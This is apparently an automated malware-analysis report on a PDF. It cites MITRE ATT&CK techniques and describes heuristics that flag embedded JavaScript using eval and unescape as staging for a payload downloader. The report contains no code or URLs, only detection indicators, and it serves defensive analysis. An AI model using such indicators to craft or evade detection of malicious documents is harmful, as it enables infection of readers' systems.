MITRE ATT&CK
T1059.001 PowerShell T1027 Obfuscated Files or Information

The PDF file contains embedded JavaScript streams that utilize eval() and unescape() functions, indicating obfuscation. The heuristics suggest that this JavaScript is designed to download and execute a secondary payload. While the exact URL or execution method is not directly extractable due to obfuscation, the presence of these techniques strongly points to a malicious downloader. No specific family could be identified.

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
